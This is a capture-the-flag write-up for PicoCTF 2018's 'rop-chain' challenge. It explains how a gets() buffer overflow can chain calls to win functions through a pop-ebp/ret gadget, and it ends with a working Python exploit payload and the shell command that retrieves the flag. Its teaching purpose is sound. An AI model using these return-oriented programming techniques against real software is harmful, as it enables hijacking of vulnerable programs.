PicoCTF 2018 - Rop Chain

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

vuln() is nearly identical to the last several buffer overflow challenges, so it should be pretty clear by now that you should NEVER use gets().

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

Strategy

You’ve already learned how to use our control of the stack to overwrite the return address and “call” an arbitrary function. You’ve even learned how to pass arguments to a function “as-if” you had called it. And I’ve kind of ignored it until now, but there’s always been an “extra” 4 bytes (I usually use 0x55555555) that we used to stand in for the return-address of the function we were trying to call. What you’ll learn now is how to chain “function calls” together so that we can execute even more code. In a later challenge, we’ll call around to code inside libc, giving us an almost unlimited number of possibilities in terms of what our code could do, and it wouldn’t be restricted by the code in the original binary.

bool win1 = false, win2 = false;

void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }  // ...
}

void flag(unsigned int arg_check2) {
  // ...
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  // ...
}

Observe:

  • Two global variables, win1 and win2, initialized to false
  • a function, win_function1 that will set win1
  • a function, win_function2 that will set win2 if called with the correct argument
  • a function, flag that will print the flag immediately if win1 and win2 are set and we call it with the correct argument

Our strategy is pretty obvious, to get the flag we need to “call” these functions in order: win_function1()win_function2(0xBAAAAAAD)flag(0xDEADBAAD). (stdout has also been set to unbuffered, so if we immediately crash after calling flag then it doesn’t matter because the flag will already have been printed.)

Background Info

We have written it as win_function1win_function2flag, but what we are really saying is that when we return from win_function1, we want to return into win_function2, and when we return from win_function2 we want to return into flag. And although it was never written that way, we’re trying to “trick” the cpu into thinking that while we were in the flag() function, we had called win_function2(), and then while win_function2 was running, it called win_function1(), and while it was running it called vuln(). Therefore, although we are in vuln() right now, when we return we’d like to return to win_function1(), and from there, win_function2(), and from there flag().

Let’s consider this imaginary code:

void bad();

void func1()
{
  bad();
}

void func2(unsigned int a)
{
  func1();
}

void win(unsigned int b)
{
  func2(0xAABBCCDD);
}

int main(void)
{
  win(0x01020304);
}

What does this code look like when compiled? There’s an awesome online tool you can use to answer those kind of questions: Take a look.

First off, let’s examine the call to win and draw what the stack looks like immediately after the call instruction.

main:
  push    0x01020304
  call    win ; <- AFTER THIS
main_cleanup:
  add     esp, 4
Stack
&main_cleanup
0x01020304

So, we push the argument first, then call the function (which will push the address of the very next instruction on to the top of the stack, this is our so-called “return address”).

Note, the return address points at an instruction that removes the 4 bytes that we pushed from the stack. The linux default calling convention (cdecl) is caller-cleanup, which means when the stack is used to pass arguments, it is up to the caller of the function to clean them up).


Let’s keep our stack as it is and keep going:

win:
  push    0xAABBCCDD
  call    func2 ; <- AFTER THIS
win_cleanup:
  add     esp, 4
  nop
  ret
Stack
&win_cleanup
0xAABBCCDD
&main_cleanup
0x01020304

Remember we are picturing the stack immediately after the call instruction.


What’s next?

func2:
  call    func1 ; <- AFTER THIS

func2_nop:
  nop
  ret
Stack
&func2_nop
&win_cleanup
0xAABBCCDD
&main_cleanup
0x01020304

And finally:

func1:
  call    bad ; <- AFTER THIS

func1_nop:
  nop
  ret
Stack
&func1_nop
&func2_nop
&win_cleanup
0xAABBCCDD
&main_cleanup
0x01020304

Which is exactly the state of the stack when bad is ready to return!


Now, let’s work backwards. Pretend that you’re a cpu, and you are about to execute the ret instruction for bad(), and the stack is exactly as show above. What is the sequence of instructions that are executed?

bad:
  ; ...
  ret ; pops func1_nop off the stack and starts execution from there

func1_nop:
  nop
  ret ; pops func2_nop off the stack and starts execution from there

func2_nop:
  nop
  ret ; pops win_cleanup off the stack and starts execution from there

win_cleanup:
  add     esp, 4 ;  REMOVES 0xAABBCCDD from the top of the stack
  nop
  ret ; pops the next value (main_cleanup) off the top of the stack and starts execution from there

main_cleanup:
  add     esp, 4 ; REMOVES 0x01020304 from the top of the stack
  ; ...

What have we learned from this thought experiment?

  1. We’ve learned what the stack would look like if we restructured the control-flow in an arbitrary way.
  2. We’ve learned how args and return addresses interleave on the stack
  3. We’ve learned that x86 linux calling convention is caller-cleanup

Exploitation

It may shock you to learn that we’ve already essentially solved the problem. Use the stack layout from the above example, but replace func1 with win_function1 and func2 with win_function2 and things will start making sense (you should probably run through your stack in your head as if you were about to return from vuln, just to check). If you think you know what you’re doing already, the challenge is located at /problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47 on the shell server.

So, based on the example above, what should the stack look like when vuln() is about to return if we want our code to execute?

Stack
&win_function1
&win_function2
&flag ???
0xBAAAAAAD
&???_cleanup ???
0xDEADBAAD

Well, we hit a little problem, based on the example above, we have spots for 4 return addresses instead of 3, but maybe the last one we don’t care about. Let’s pretend to be a CPU again and check if everything makes sense.

vuln:
  ret ; pops win_function1 off the stack and starts execution from there

win_function1:
  ; ... (run the function)
  ret ; pops win_function2 off the stack and starts execution from there

win_function2:
  push   ebp  ; PUSH 4 bytes onto stack
  mov    ebp,esp
  ; ...

  ; stack has ebp (4 bytes), then return addr (4bytes), then 0xbaaaaaad, so this should work!
  cmp    DWORD PTR [ebp+0x8],0xbaaaaaad 

  ; ...
  leave ; mov esp, ebp; pop ebp; (Restores Stack, popping the 4 bytes back into ebp)
  ret ; pops flag off the stack and starts execution from there

flag:
  push   ebp ; PUSH 4 bytes onto stack
  mov    ebp,esp
  ; ...
  ; PROBLEM: stack has ebp (4 bytes), then 0xbaaaaaad (4bytes), then &???_cleanup (4bytes), THEN 0xdeadbaad
  cmp    DWORD PTR [ebp+0x8],0xdeadbaad ; This is actually the spot for &???_cleanup ??? 
  ; ...
  leave ; mov esp, ebp; pop ebp; (Restores Stack, popping the 4 bytes back into ebp)
  ret ; pops the next value (0xBAAAAAAD) off the top of the stack and starts execution from there

BAAAAAAD:
  ; SEGFAULT

Woops. Something has gone wrong. The argument for flag (0xdeadbaad) is in the wrong spot, and for some reason our code started returning into 0xBAAAAAAD, which was supposed to be an argument and not a return address? Something is obviously different from our example, but what?

The difference is that the original code would cleanup the arguments in the caller (win_cleanup and main_cleanup), but of course we’ve faked the call stack. Those functions never actually “called” each other, and they certainly don’t have code to “remove” arguments from the stack for functions they never called. As a result, we get stuck with this 0xBAAAAAAD argument that has no where to go. Since 0xBAAAAAAD is the argument to win_function2 we need to do something after win_function2 returns.

You actually have two choices right now. I’ll go over the technique that’ll help you chain together an arbitrary number of functions first, and then I’ll mention the shortcut you can use because you don’t actually care what happens after flag().

What we need is something to remove 4 bytes from the top of the stack. If that something removed 4 bytes, and then did a ret instruction, we could place another return address on the stack and control where it went next. In ROP (Return-Oriented Programming), a set of instructions you’d like to have executed followed by a ret instruction is known as a “gadget”. Let’s look and see if there is a useful gadget in our code:

080485cb <win_function1>:
 80485cb:	55                   	push   ebp
 80485cc:	89 e5                	mov    ebp,esp
 80485ce:	c6 05 41 a0 04 08 01 	mov    BYTE PTR ds:0x804a041,0x1
 80485d5:	90                   	nop
 80485d6:	5d                   	pop    ebp ; <-- HEY. LOOK AT THIS!
 80485d7:	c3                   	ret    

We found one, right there at the end of win_function1. The great thing about this gadget is that our original buffer overflow already corrupted the ebp register, so we don’t actually end up writing to any other registers that we might care about. (In most ROP challenges you have to be very careful about the state of your registers and stack).

Let’s see what happens when 0xBAAAAAAD is at the top of the stack and we return into our gadget.

pop    ebp ;  POPS 0xBAAAAAAD off the stack
ret ; Grabs the next 4 bytes on the stack and starts executing there - How about flag()?
Stack
0xBAAAAAAD
<something>
<something>
<something>

So, if we put 0xBAAAAAAD on the stack, followed by &flag, followed by the return address for the flag function (don’t really care), followed by the arugment for flag, everything should work!


So, one last time, lets put together what you want your stack to look like when vuln() returns:

Stack
&win_function1
&win_function2
&gadget
0xBAAAAAAD
&flag
<DO NOT CARE>
0xDEADBAAD

Don’t forget, you still need to figure out how many bytes to write into buf before you start overwriting the return address of vuln. Plus, you should probably take this time to figure out the addresses of all the things you care about as well (the address for the gadget is shown above).

vuln:
    push   ebp  ; 4 BYTES
    mov    ebp,esp
    ; ...
    lea    eax,[ebp-0x18] ; buf starts 24 (0x18) bytes before ebp
    push   eax
    call   gets
    ;

Which means we have 24 bytes, and then another 4 for the preserved value of ebp, so 28 bytes overall before we start overwriting the return address.

Now, let’s write some code to fill in our buf for us. It’ll be 28 bytes, followed by the stack layout shown above, where all the 32-bit values will be written in little-endian format.

#!/usr/bin/env python
# works with python2 or python3
import struct, os
os.write(1, b"U"*28 + struct.pack("<7L",
                      0x080485cb, # win_function1
                      0x080485d8, # win_function2
                      0x080485d6, # gadget
                      0xBAAAAAAD, # win_function2 arg
                      0x0804862b, # flag
                      0x55555555, # return add for flag (DNC)
                      0xDEADBAAD  # flag arg
                      ) + b"\n") # don't forget to add a newline for gets()

Finally, let’s try it out by running the problem in /problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47 on the shell server:

$ cd /problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47
$ python -c 'import struct,os; os.write(1, b"U"*28 + struct.pack("<7L", 0x080485cb, 0x080485d8, 0x080485d6, 0xBAAAAAAD, 0x0804862b, 0x55555555, 0xDEADBAAD) + b"\n")' | ./rop
Enter your input> picoCTF{===REDACTED===}
Segmentation fault (core dumped)

Wow, that was more work than I thought - Good job getting all the way through it! As a quick note, if you wanted to avoid the gadget, you could return directly into flag, and have 0xDEADBAAD immediately after 0xBAAAAAAD - But it only works in this specific instance because we don’t care about the return address of flag and there is exactly 4 extraneous bytes on the stack.

Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.